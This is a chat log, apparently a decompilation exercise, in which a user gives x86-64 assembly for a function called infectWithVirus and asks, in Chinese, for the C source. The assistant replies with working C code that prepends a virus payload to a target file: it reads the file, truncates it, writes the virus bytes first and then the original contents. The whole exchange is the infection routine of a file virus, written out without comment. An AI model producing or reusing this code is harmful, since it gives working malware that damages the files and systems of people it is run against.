user: 下面的汇编指令对应的C源代码是什么:

```asm
<infectWithVirus>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x40,%rsp
  mov    %rdi,-0x28(%rbp)
  mov    %rsi,-0x30(%rbp)
  mov    %edx,-0x34(%rbp)
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
  movb   $0x0,-0x1d(%rbp)
  movl   $0x0,-0x18(%rbp)
  mov    D2(%rip),%rax
  mov    (%rax),%edx
  mov    -0x28(%rbp),%rax
  mov    %edx,%esi
  mov    %rax,%rdi
  call   <open@plt>
  mov    %eax,-0x14(%rbp)
  cmpl   $0xffffffff,-0x14(%rbp)
  jne    L94
  mov    $0xffffffff,%eax
  jmp    L129
L94:
  lea    -0x1c(%rbp),%rdx
  mov    -0x14(%rbp),%eax
  mov    %rdx,%rsi
  mov    %eax,%edi
  call   <fstat@plt>
  cmp    $0xffffffff,%eax
  jne    L33
  mov    -0x14(%rbp),%eax
  mov    %eax,%edi
  call   <close@plt>
  mov    $0xffffffff,%eax
  jmp    L129
L33:
  mov    -0x1c(%rbp),%eax
  mov    %eax,%edi
  call   <malloc@plt>
  mov    %rax,-0x10(%rbp)
  jmp    L74
L116:
  mov    -0x18(%rbp),%eax
  lea    0x1(%rax),%edx
  mov    %edx,-0x18(%rbp)
  movslq %eax,%rdx
  mov    -0x10(%rbp),%rax
  lea    (%rdx,%rax,1),%rcx
  lea    -0x1d(%rbp),%rax
  mov    $0x1,%edx
  mov    %rax,%rsi
  mov    %rcx,%rdi
  call   <memcpy@plt>
L74:
  lea    -0x1d(%rbp),%rcx
  mov    -0x14(%rbp),%eax
  mov    $0x1,%edx
  mov    %rcx,%rsi
  mov    %eax,%edi
  call   <read@plt>
  cmp    $0x1,%eax
  je     L116
  mov    -0x14(%rbp),%eax
  mov    %eax,%edi
  call   <close@plt>
  mov    D28(%rip),%rax
  mov    (%rax),%edx
  mov    D8(%rip),%rax
  mov    (%rax),%eax
  or     %eax,%edx
  mov    -0x28(%rbp),%rax
  mov    %edx,%esi
  mov    %rax,%rdi
  call   <open@plt>
  mov    %eax,-0x14(%rbp)
  cmpl   $0xffffffff,-0x14(%rbp)
  jne    L53
  mov    $0xffffffff,%eax
  jmp    L129
L53:
  movl   $0x0,-0x18(%rbp)
  jmp    L13
L47:
  mov    -0x18(%rbp),%eax
  movslq %eax,%rdx
  mov    -0x30(%rbp),%rax
  lea    (%rdx,%rax,1),%rcx
  mov    -0x14(%rbp),%eax
  mov    $0x1,%edx
  mov    %rcx,%rsi
  mov    %eax,%edi
  call   <write@plt>
  addl   $0x1,-0x18(%rbp)
L13:
  mov    -0x18(%rbp),%eax
  cmp    -0x34(%rbp),%eax
  jl     L47
  movl   $0x0,-0x18(%rbp)
  jmp    L70
L72:
  mov    -0x18(%rbp),%eax
  movslq %eax,%rdx
  mov    -0x10(%rbp),%rax
  lea    (%rdx,%rax,1),%rcx
  mov    -0x14(%rbp),%eax
  mov    $0x1,%edx
  mov    %rcx,%rsi
  mov    %eax,%edi
  call   <write@plt>
  addl   $0x1,-0x18(%rbp)
L70:
  mov    -0x1c(%rbp),%eax
  cmp    %eax,-0x18(%rbp)
  jl     L72
  mov    -0x14(%rbp),%eax
  mov    %eax,%edi
  call   <close@plt>
  mov    -0x10(%rbp),%rax
  mov    %rax,%rdi
  call   <free@plt>
  mov    $0x0,%eax
L129:
  mov    -0x8(%rbp),%rdx
  sub    %fs:0x28,%rdx
  je     L124
  call   <__stack_chk_fail@plt>
L124:
  leave
  ret
```

assistant: ```c
int infectWithVirus(char *argv, char *virusBuf, int virusLen) {
  char *fileBuf;
  char offBuf = 0x00;
  int fd, i = 0;
  struct stat fstatInfo;
  if ((fd = open(argv, O_RDONLY)) == -1) {
    return -1;
  }
  if (fstat(fd, &fstatInfo) == -1) {
    close(fd);
    return -1;
  }
  fileBuf = malloc(sizeof(char) * fstatInfo.st_size);
  while (read(fd, &offBuf, 1) == 1) {
    memcpy(&fileBuf[i++], &offBuf, 1);
  }
  close(fd);
  if ((fd = open(argv, O_RDWR | O_TRUNC)) == -1) {
    return -1;
  }
  for (i = 0; i < virusLen; i++) {
    write(fd, &virusBuf[i], 1);
  }
  for (i = 0; i < fstatInfo.st_size; i++) {
    write(fd, &fileBuf[i], 1);
  }
  close(fd);
  free(fileBuf);
  return 0;
}
```